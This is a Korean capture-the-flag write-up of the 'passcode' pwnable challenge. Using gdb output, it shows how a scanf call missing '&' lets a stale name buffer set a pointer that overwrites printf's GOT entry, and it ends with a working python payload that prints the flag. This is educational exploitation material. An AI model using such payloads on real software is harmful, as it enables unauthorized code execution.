드디어 10pt passcode 문제를 풀었슴다..ㅎ
이 문제가 요구하는 선행지식은 다음과 같습니다.
scanf() 에서 사용되는 &의 의미, linux에서 fflush(), got overwrite
위 개념들을 알고있어야 풀 수 있습니다.
Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?
문제는 위와 같고, ssh 로 접속해서 문제를 봅시다.
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
위 소스코드를 분석해보면 두 가지 문제점을 찾을 수 있습니다.
프로그래머의 의도는 passcode1과 passcode2라는 변수에 각각 338150, 13371337을 넣고 맞다면 flag 파일을 cat으로 열어주는것이 목적인데
scanf() 호출할때 &연산자가 붙지 않은것을 볼 수 있습니다.
scanf("%d", &passcode1);
원래의 의도라면 위와 같아야하지만 &가 붙지 않는다는 이유로 문제가 발생합니다.
왜 그럴까요?
scanf()는 STDIN으로 입력 받은 값을 자료형(%d, %f, %c..)에 맞게 원하는 곳에 넣습니다.
여기서 &는 단항 연산자로 &가 붙으면 변수가 있는 주소값을 반환합니다.
그렇기 때문에 scanf("%d", &passcode1); 이 라면 passcode1의 주소에 %d 즉 정수형 값을 넣을 수 있겠지만
scanf("%d", passcode1); 의 경우라면 passcode1이라는 것을 주소로 보고 passcode1이라는 주소에 정수값을 넣으려고 시도를 하게됩니다.
그리고 fflush() 를 호출하면서 입력 버퍼를 비워주게 되는데 이를 하는 이유는 입력 버퍼를 지워주기 위함인데
만약 입력 버퍼를 지우지 않았을때 어떻게 될까요..?
뒤에도 얘기를 하겠지만 이 바이너리에서는 welcome() 와 login()의 ebp 값이 같습니다.
welcome() 는 소스코드 대로 name이라는 100byte짜리 배열에 %100s 만큼 문자열을 받습니다.
하지만 login() 에서 passcode1의 위치가 name[96]과 겹치게 되면서 입력 버퍼를 비우지 않았을때 login() 의 passcode1의 주소에 name배열의 96~99byte 사이의 값을 입력해줌으로서 passcode1에 값을 넣을 수 있게 됩니다.
그렇다면 여기서 생각할 수 있는것이 passcode1의 위치에 함수의 got주소를 넣고, got overwrite를 하여 해당 함수가 호출 되었을때 다른 함수가 호출되게끔 할 수 있을것입니다.
자세히 설명을 하자면
fflush(stdin); 이 정상적으로 작동하지 않았을때 즉, 입력버퍼가 지워지지 않았을때 name 배열의 96번째 index에서 99번째 까지 총 4byte에 passcode1이 위치하고 그곳에 예를들어 printf() 의 got 주소를 넣어두고 login() 에서 scanf("%d", passcode1(=> printf()의 got)); 로 printf() 의 got를 overwrite 할 수 있다는 것입니다.
passcode1은 printf()의 got값이 들어가 있고, 그 주소에 scanf()로 위 바이너리에 있는 system("/bin/cat flag");의 주소로 overwirte한다면 우리가 원하는 flag값을 볼 수 있겠죠..?
제가 이를 계속 설명하는 이유는 fflush() 는 linux에서 제대로 작동하지 않기 때문에 위 처럼 공격을 할 수 있기 때문입니다.
C 언어 표준에 따르면 fflush() 는 output stream에 대해서만 동작합니다.
입력 스트림은 무시가되버리고 입력 스트림에서도 동작하는 것은 VC(Visual Studio)의 확장 기능입니다.
이를 이용하여 이제 공격을 해봅시다.
먼저 정말로 ebp가 같은지 확인할 필요가 있겠죠?
passcode@ubuntu:~$ gdb -q passcode
Reading symbols from passcode...(no debugging symbols found)...done.
(gdb) source /usr/share/peda/peda.py //peda 적용 꿀Tip.
gdb-peda$ pdisas welcome
Dump of assembler code for function welcome:
0x08048609 <+0>: push ebp
0x0804860a <+1>: mov ebp,esp
0x0804860c <+3>: sub esp,0x88
0x08048612 <+9>: mov eax,gs:0x14
0x08048618 <+15>: mov DWORD PTR [ebp-0xc],eax
0x0804861b <+18>: xor eax,eax
0x0804861d <+20>: mov eax,0x80487cb
0x08048622 <+25>: mov DWORD PTR [esp],eax
0x08048625 <+28>: call 0x8048420 <printf@plt>
0x0804862a <+33>: mov eax,0x80487dd
0x0804862f <+38>: lea edx,[ebp-0x70]
0x08048632 <+41>: mov DWORD PTR [esp+0x4],edx
0x08048636 <+45>: mov DWORD PTR [esp],eax
0x08048639 <+48>: call 0x80484a0 <__isoc99_scanf@plt>
0x0804863e <+53>: mov eax,0x80487e3
0x08048643 <+58>: lea edx,[ebp-0x70]
0x08048646 <+61>: mov DWORD PTR [esp+0x4],edx
0x0804864a <+65>: mov DWORD PTR [esp],eax
0x0804864d <+68>: call 0x8048420 <printf@plt>
0x08048652 <+73>: mov eax,DWORD PTR [ebp-0xc]
0x08048655 <+76>: xor eax,DWORD PTR gs:0x14
0x0804865c <+83>: je 0x8048663 <welcome+90>
0x0804865e <+85>: call 0x8048440 <__stack_chk_fail@plt>
0x08048663 <+90>: leave
0x08048664 <+91>: ret
End of assembler dump.
gdb-peda$ b * 0x0804860c // bp welcom+3에 걸기
Breakpoint 1 at 0x804860c
gdb-peda$ pdisas login
Dump of assembler code for function login:
0x08048564 <+0>: push ebp
0x08048565 <+1>: mov ebp,esp
0x08048567 <+3>: sub esp,0x28
0x0804856a <+6>: mov eax,0x8048770
0x0804856f <+11>: mov DWORD PTR [esp],eax
0x08048572 <+14>: call 0x8048420 <printf@plt>
0x08048577 <+19>: mov eax,0x8048783
0x0804857c <+24>: mov edx,DWORD PTR [ebp-0x10]
0x0804857f <+27>: mov DWORD PTR [esp+0x4],edx
0x08048583 <+31>: mov DWORD PTR [esp],eax
0x08048586 <+34>: call 0x80484a0 <__isoc99_scanf@plt>
0x0804858b <+39>: mov eax,ds:0x804a02c
0x08048590 <+44>: mov DWORD PTR [esp],eax
0x08048593 <+47>: call 0x8048430 <fflush@plt>
0x08048598 <+52>: mov eax,0x8048786
0x0804859d <+57>: mov DWORD PTR [esp],eax
0x080485a0 <+60>: call 0x8048420 <printf@plt>
0x080485a5 <+65>: mov eax,0x8048783
0x080485aa <+70>: mov edx,DWORD PTR [ebp-0xc]
0x080485ad <+73>: mov DWORD PTR [esp+0x4],edx
0x080485b1 <+77>: mov DWORD PTR [esp],eax
0x080485b4 <+80>: call 0x80484a0 <__isoc99_scanf@plt>
0x080485b9 <+85>: mov DWORD PTR [esp],0x8048799
0x080485c0 <+92>: call 0x8048450 <puts@plt>
0x080485c5 <+97>: cmp DWORD PTR [ebp-0x10],0x528e6
0x080485cc <+104>: jne 0x80485f1 <login+141>
0x080485ce <+106>: cmp DWORD PTR [ebp-0xc],0xcc07c9
0x080485d5 <+113>: jne 0x80485f1 <login+141>
0x080485d7 <+115>: mov DWORD PTR [esp],0x80487a5
0x080485de <+122>: call 0x8048450 <puts@plt>
0x080485e3 <+127>: mov DWORD PTR [esp],0x80487af
0x080485ea <+134>: call 0x8048460 <system@plt>
0x080485ef <+139>: leave
0x080485f0 <+140>: ret
0x080485f1 <+141>: mov DWORD PTR [esp],0x80487bd
0x080485f8 <+148>: call 0x8048450 <puts@plt>
0x080485fd <+153>: mov DWORD PTR [esp],0x0
0x08048604 <+160>: call 0x8048480 <exit@plt>
End of assembler dump.
gdb-peda$ b * 0x08048567 //bp login+3 걸기
Breakpoint 2 at 0x8048567
gdb-peda$ r
Starting program: /home/passcode/passcode
Toddler's Secure Login System 1.0 beta.
gdb로 확인할 수 있습니다.
스택프레임을 만들어준 뒤 각 함수에 break point를 걸어주고 실행을 해줍니다.
[----------------------------------registers-----------------------------------]
EAX: 0x28 ('(')
EBX: 0x0
ECX: 0xffffffff
EDX: 0xf7779870 --> 0x0
ESI: 0xf7778000 --> 0x1aedb0
EDI: 0xf7778000 --> 0x1aedb0
EBP: 0xff9a0b48 --> 0xff9a0b68 --> 0x0
ESP: 0xff9a0b48 --> 0xff9a0b68 --> 0x0
EIP: 0x804860c (<welcome+3>: sub esp,0x88)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048604 <login+160>: call 0x8048480 <exit@plt>
0x8048609 <welcome>: push ebp
0x804860a <welcome+1>: mov ebp,esp
=> 0x804860c <welcome+3>: sub esp,0x88
0x8048612 <welcome+9>: mov eax,gs:0x14
0x8048618 <welcome+15>: mov DWORD PTR [ebp-0xc],eax
0x804861b <welcome+18>: xor eax,eax
0x804861d <welcome+20>: mov eax,0x80487cb
[------------------------------------stack-------------------------------------]
0000| 0xff9a0b48 --> 0xff9a0b68 --> 0x0
0004| 0xff9a0b4c --> 0x804867f (<main+26>: call 0x8048564 <login>)
0008| 0xff9a0b50 --> 0x80487f0 ("Toddler's Secure Login System 1.0 beta.")
0012| 0xff9a0b54 --> 0x8048250 --> 0x6e ('n')
0016| 0xff9a0b58 --> 0x80486a9 (<__libc_csu_init+9>: add ebx,0x194b)
0020| 0xff9a0b5c --> 0x0
0024| 0xff9a0b60 --> 0xf7778000 --> 0x1aedb0
0028| 0xff9a0b64 --> 0xf7778000 --> 0x1aedb0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x0804860c in welcome ()
gdb-peda$ info f
Stack level 0, frame at 0xff9a0b50:
eip = 0x804860c in welcome; saved eip = 0x804867f
called by frame at 0xff9a0b70
Arglist at 0xff9a0b48, args:
Locals at 0xff9a0b48, Previous frame's sp is 0xff9a0b50
Saved registers:
ebp at 0xff9a0b48, eip at 0xff9a0b4c
먼저 welcome() 에서의 ebp 값은 0xff9a0b48 입니다.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0x7ffffff2
EDX: 0xf7779870 --> 0x0
ESI: 0xf7778000 --> 0x1aedb0
EDI: 0xf7778000 --> 0x1aedb0
EBP: 0xff9a0b48 --> 0xff9a0b68 --> 0x0
ESP: 0xff9a0b48 --> 0xff9a0b68 --> 0x0
EIP: 0x8048567 (<login+3>: sub esp,0x28)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048563 <frame_dummy+35>: nop
0x8048564 <login>: push ebp
0x8048565 <login+1>: mov ebp,esp
=> 0x8048567 <login+3>: sub esp,0x28
0x804856a <login+6>: mov eax,0x8048770
0x804856f <login+11>: mov DWORD PTR [esp],eax
0x8048572 <login+14>: call 0x8048420 <printf@plt>
0x8048577 <login+19>: mov eax,0x8048783
[------------------------------------stack-------------------------------------]
0000| 0xff9a0b48 --> 0xff9a0b68 --> 0x0
0004| 0xff9a0b4c --> 0x8048684 (<main+31>: mov DWORD PTR [esp],0x8048818)
0008| 0xff9a0b50 --> 0x80487f0 ("Toddler's Secure Login System 1.0 beta.")
0012| 0xff9a0b54 --> 0x8048250 --> 0x6e ('n')
0016| 0xff9a0b58 --> 0x80486a9 (<__libc_csu_init+9>: add ebx,0x194b)
0020| 0xff9a0b5c --> 0x0
0024| 0xff9a0b60 --> 0xf7778000 --> 0x1aedb0
0028| 0xff9a0b64 --> 0xf7778000 --> 0x1aedb0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 2, 0x08048567 in login ()
gdb-peda$ i f
Stack level 0, frame at 0xff9a0b50:
eip = 0x8048567 in login; saved eip = 0x8048684
called by frame at 0xff9a0b70
Arglist at 0xff9a0b48, args:
Locals at 0xff9a0b48, Previous frame's sp is 0xff9a0b50
Saved registers:
ebp at 0xff9a0b48, eip at 0xff9a0b4c
그리고 login() 의 ebp 역시 0xff9a0b48 입니다.
ebp 값은 이 처럼 같습니다.
그렇다면 위에 제가 설명했던것 처럼 과연 name[100]으로 passcode1에 값 입력이 가능한지 알아봅시다.
gdb-peda$ pdisas welcome
Dump of assembler code for function welcome:
0x08048609 <+0>: push ebp
0x0804860a <+1>: mov ebp,esp
0x0804860c <+3>: sub esp,0x88
0x08048612 <+9>: mov eax,gs:0x14
0x08048618 <+15>: mov DWORD PTR [ebp-0xc],eax
0x0804861b <+18>: xor eax,eax
0x0804861d <+20>: mov eax,0x80487cb
0x08048622 <+25>: mov DWORD PTR [esp],eax
0x08048625 <+28>: call 0x8048420 <printf@plt>
0x0804862a <+33>: mov eax,0x80487dd
0x0804862f <+38>: lea edx,[ebp-0x70]
0x08048632 <+41>: mov DWORD PTR [esp+0x4],edx
0x08048636 <+45>: mov DWORD PTR [esp],eax
0x08048639 <+48>: call 0x80484a0 <__isoc99_scanf@plt>
0x0804863e <+53>: mov eax,0x80487e3
0x08048643 <+58>: lea edx,[ebp-0x70]
0x08048646 <+61>: mov DWORD PTR [esp+0x4],edx
0x0804864a <+65>: mov DWORD PTR [esp],eax
0x0804864d <+68>: call 0x8048420 <printf@plt>
0x08048652 <+73>: mov eax,DWORD PTR [ebp-0xc]
0x08048655 <+76>: xor eax,DWORD PTR gs:0x14
0x0804865c <+83>: je 0x8048663 <welcome+90>
0x0804865e <+85>: call 0x8048440 <__stack_chk_fail@plt>
0x08048663 <+90>: leave
0x08048664 <+91>: ret
End of assembler dump.
ebp - 0x70가 name의 시작 위치인것을 알 수 있습니다.
gdb-peda$ pdisas login
Dump of assembler code for function login:
0x08048564 <+0>: push ebp
0x08048565 <+1>: mov ebp,esp
=> 0x08048567 <+3>: sub esp,0x28
0x0804856a <+6>: mov eax,0x8048770
0x0804856f <+11>: mov DWORD PTR [esp],eax
0x08048572 <+14>: call 0x8048420 <printf@plt>
0x08048577 <+19>: mov eax,0x8048783
0x0804857c <+24>: mov edx,DWORD PTR [ebp-0x10]
0x0804857f <+27>: mov DWORD PTR [esp+0x4],edx
0x08048583 <+31>: mov DWORD PTR [esp],eax
0x08048586 <+34>: call 0x80484a0 <__isoc99_scanf@plt>
0x0804858b <+39>: mov eax,ds:0x804a02c
0x08048590 <+44>: mov DWORD PTR [esp],eax
0x08048593 <+47>: call 0x8048430 <fflush@plt>
0x08048598 <+52>: mov eax,0x8048786
0x0804859d <+57>: mov DWORD PTR [esp],eax
0x080485a0 <+60>: call 0x8048420 <printf@plt>
0x080485a5 <+65>: mov eax,0x8048783
0x080485aa <+70>: mov edx,DWORD PTR [ebp-0xc]
0x080485ad <+73>: mov DWORD PTR [esp+0x4],edx
0x080485b1 <+77>: mov DWORD PTR [esp],eax
0x080485b4 <+80>: call 0x80484a0 <__isoc99_scanf@plt>
0x080485b9 <+85>: mov DWORD PTR [esp],0x8048799
0x080485c0 <+92>: call 0x8048450 <puts@plt>
0x080485c5 <+97>: cmp DWORD PTR [ebp-0x10],0x528e6
0x080485cc <+104>: jne 0x80485f1 <login+141>
0x080485ce <+106>: cmp DWORD PTR [ebp-0xc],0xcc07c9
0x080485d5 <+113>: jne 0x80485f1 <login+141>
0x080485d7 <+115>: mov DWORD PTR [esp],0x80487a5
0x080485de <+122>: call 0x8048450 <puts@plt>
0x080485e3 <+127>: mov DWORD PTR [esp],0x80487af
0x080485ea <+134>: call 0x8048460 <system@plt>
0x080485ef <+139>: leave
0x080485f0 <+140>: ret
0x080485f1 <+141>: mov DWORD PTR [esp],0x80487bd
0x080485f8 <+148>: call 0x8048450 <puts@plt>
0x080485fd <+153>: mov DWORD PTR [esp],0x0
0x08048604 <+160>: call 0x8048480 <exit@plt>
End of assembler dump.
passcode1의 위치와 passcode2의 위치가 ebp - 0x10, ebp - 0xc인것을 알 수 있었는데
cmp 로 값을 비교하는 부분에서 찾을 수 있었습니다.
이제 0x70 - 0x10을 해보면
위와 같죠.
그렇다면 제가 위에 설명했던것 처럼 name에 마지막 4byte에 passcode1에 들어가야할 내용을 입력할 수 있게 되었습니다.
got overwrite를 할것인데
타겟 함수를 printf()로 잡고 got overwrite를 해보겠습니다.
printf() 의 got를 구해줍니다.
gdb-peda$ x/3i 0x8048420
0x8048420 <printf@plt>: jmp DWORD PTR ds:0x804a000 // printf() got
0x8048426 <printf@plt+6>: push 0x0
0x804842b <printf@plt+11>: jmp 0x8048410
0x8048420 이 주소는 printf() 의 plt 주소이고, x/3i 로 got 주소를 구해줬습니다.
이제 이 got주소를 passcode1에 넣고 이 주소에 10진수로 system("/bin/cat flag") 주소를 입력해주면 flag를 얻을 수 있습니다.
gdb-peda$ pdisas login
Dump of assembler code for function login:
0x08048564 <+0>: push ebp
0x08048565 <+1>: mov ebp,esp
=> 0x08048567 <+3>: sub esp,0x28
0x0804856a <+6>: mov eax,0x8048770
0x0804856f <+11>: mov DWORD PTR [esp],eax
0x08048572 <+14>: call 0x8048420 <printf@plt>
0x08048577 <+19>: mov eax,0x8048783
0x0804857c <+24>: mov edx,DWORD PTR [ebp-0x10]
0x0804857f <+27>: mov DWORD PTR [esp+0x4],edx
0x08048583 <+31>: mov DWORD PTR [esp],eax
0x08048586 <+34>: call 0x80484a0 <__isoc99_scanf@plt>
0x0804858b <+39>: mov eax,ds:0x804a02c
0x08048590 <+44>: mov DWORD PTR [esp],eax
0x08048593 <+47>: call 0x8048430 <fflush@plt>
0x08048598 <+52>: mov eax,0x8048786
0x0804859d <+57>: mov DWORD PTR [esp],eax
0x080485a0 <+60>: call 0x8048420 <printf@plt>
0x080485a5 <+65>: mov eax,0x8048783
0x080485aa <+70>: mov edx,DWORD PTR [ebp-0xc]
0x080485ad <+73>: mov DWORD PTR [esp+0x4],edx
0x080485b1 <+77>: mov DWORD PTR [esp],eax
0x080485b4 <+80>: call 0x80484a0 <__isoc99_scanf@plt>
0x080485b9 <+85>: mov DWORD PTR [esp],0x8048799
0x080485c0 <+92>: call 0x8048450 <puts@plt>
0x080485c5 <+97>: cmp DWORD PTR [ebp-0x10],0x528e6
0x080485cc <+104>: jne 0x80485f1 <login+141>
0x080485ce <+106>: cmp DWORD PTR [ebp-0xc],0xcc07c9
0x080485d5 <+113>: jne 0x80485f1 <login+141>
0x080485d7 <+115>: mov DWORD PTR [esp],0x80487a5
0x080485de <+122>: call 0x8048450 <puts@plt>
0x080485e3 <+127>: mov DWORD PTR [esp],0x80487af
0x080485ea <+134>: call 0x8048460 <system@plt>
0x080485ef <+139>: leave
0x080485f0 <+140>: ret
0x080485f1 <+141>: mov DWORD PTR [esp],0x80487bd
0x080485f8 <+148>: call 0x8048450 <puts@plt>
0x080485fd <+153>: mov DWORD PTR [esp],0x0
0x08048604 <+160>: call 0x8048480 <exit@plt>
End of assembler dump.
여기서 system("/bin/cat flag")의 주소는 0x080485e3 죠 ㅎ
이를 10진수로 바꾸면
이제 페이로드를 작성해서 익스하면..!
passcode@ubuntu:~$ (python -c 'print "A"*96+"\x00\xa0\x04\x08"+"\n"+"134514147"';cat)|./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
~~~~~~~~~~~~~~~flag~~~~~~~~~~~~~~~~~~
enter passcode1 : Now I can safely trust you that you have credential :)
이렇게 flag가 나옵니다. ^__^
이상 passcode 풀이를 마칩니다.